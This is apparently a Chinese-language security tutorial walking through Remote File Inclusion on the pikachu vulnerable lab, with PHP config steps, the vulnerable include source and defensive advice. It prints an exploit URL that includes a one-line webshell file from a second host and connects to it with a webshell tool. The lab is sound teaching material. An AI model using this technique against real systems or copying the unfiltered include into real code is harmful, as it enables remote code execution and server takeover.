Ⅱ.远程文件包含
远程文件包含漏洞(Remote File Inclusion, RFI)是一种Web应用程序漏洞,允许攻击者通过URL从远程服务器包含并执行文件;RFI漏洞通常出现在动态包含文件的功能中,且用户输入未经适当验证和过滤。接着我们也是根据pikachu靶场中的远程文件包含相关漏洞页面进行漏洞说明:
1.打开页面后发现页面出现提示:环境中的allow_url_include开关并没有开启,这里需要我们手动进行开启。
开启方法:在小皮面板中找到php对应的配置文件,选择当前站点使用的php版本;笔者此处所使用的版本为php5.6.9。
点击对应版本后就会出现php相关配置文件--php.ini;这个时候我们直接去找allow_url_include开关并将其开启即可:
修改后我们重启下当前所使用的中间件即可。至此靶场就可以正常使用了:
php.ini中的allow_url_include参数究竟有什么用呢?
allow_url_include 是 PHP 中的一个配置指令,它决定是否允许在 include、include_once、require 和 require_once 语句中使用 URL 进行远程文件包含;默认情况下,该选项是禁用的,以防止远程文件包含(RFI)漏洞。这意味着 PHP 脚本可以通过指定一个远程文件的 URL 来加载并执行该文件的内容。
大概了解完后我们就来阐述一下该漏洞需要我们如何去进行利用:
1.首先远程文件包含漏洞的初始页面与本地文件包含的初始页面是一样的,此时我们随机选择一个球星进行查询,整体页面如下:
可以看到url上已经文件的相对路径显示出来了;此时我们尝试将url中的文件路径改为hosts文件的绝对路径查看效果:可以看到与本地文件包含不同的是,这个时候我们使用绝对路径,文件的内同也可以被正常包含。
那么因为我们已经开启了allow_url_include开关,所以此时是允许我们直接包含远程主机中的文件的;这边我开一个虚拟机(再实际环境中就需要使用自己的公网服务器了);虚拟机的IP为192.168.8.129,并且开启了apache服务,这个时候我在apache服务的根目录创建一个编写有一句话木马的txt文件:
接着我们将包含的文件途径修改文此时访问该txt文件的url,修改后的我们让我的URL为:
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.8.129/Remote_shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
接着使用WebShell连接工具进行连接:连接成功
至此漏洞利用成功。接着我们也是按照惯例查看源码对漏洞进行剖析:
$html1='';
if(!ini_get('allow_url_include')){$html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){$html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){$html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}
这段代码旨在检查PHP配置中的几个关键设置,并在特定条件下显示警告消息:
使用 ini_get('allow_url_include')
检查 allow_url_include
设置。如果返回值为 false
,表示该设置未开启。allow_url_include开启其实就是此处远程文件包含漏洞产生的主要原因,上面有说过了,此处就不做过多赘述了。
使用 ini_get('allow_url_fopen')
检查 allow_url_fopen
设置。如果返回值为 false
,表示该设置未开启。allow_url_fopen
决定是否允许通过 fopen()
、file_get_contents()
等函数访问 URL;默认情况下,allow_url_fopen
是启用的,这意味着 PHP 脚本可以通过这些函数从远程服务器读取文件内容。
allow_url_include
依赖于 allow_url_fopen
。换句话说,如果你想启用 allow_url_include
,首先需要确保 allow_url_fopen
也是启用的。
使用 ini_get('magic_quotes_gpc')
检查 magic_quotes_gpc
设置。如果返回值为 false
,表示该设置未开启。magic_quotes_gpc
是 PHP 中的一个配置选项,用于自动对来自 GET
、POST
和 COOKIE
的输入数据进行转义。具体来说,它会自动在某些特殊字符(如单引号 '
、双引号 "
、反斜杠 \
和 NULL 字符)前添加反斜杠。如果magic_quotes_gpc是开启的则攻击无法成功,因为我们指定的带有木马的txt文件的url中带有反斜杠(被转义后的反斜杠就会被当成一个字符看待)。
检查完成后,造成文件包含的关键代码:与本地文件包含的相关代码并无区别,都是接收客户端传来的文件路径(url)并进行包含。
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "$filename";//变量传进来直接包含,没做任何的安全限制
}
防范文件包含漏洞的方法
1. 输入验证和过滤
对所有用户输入进行严格验证和过滤,确保文件名是合法的,并且不包含任何恶意字符或路径遍历字符(如 ../
)。
2. 禁用远程文件包含
在 php.ini
中禁用 allow_url_include
和 allow_url_fopen
,以防止远程文件包含。
3. 设置正确的文件权限
确保 Web 服务器仅对需要访问的文件和目录具有读取权限,防止攻击者访问不必要的文件。
4.使用最新版本的 PHP
始终使用最新版本的 PHP,因为它包含了最新的安全补丁和功能,可以帮助防范已知的安全漏洞。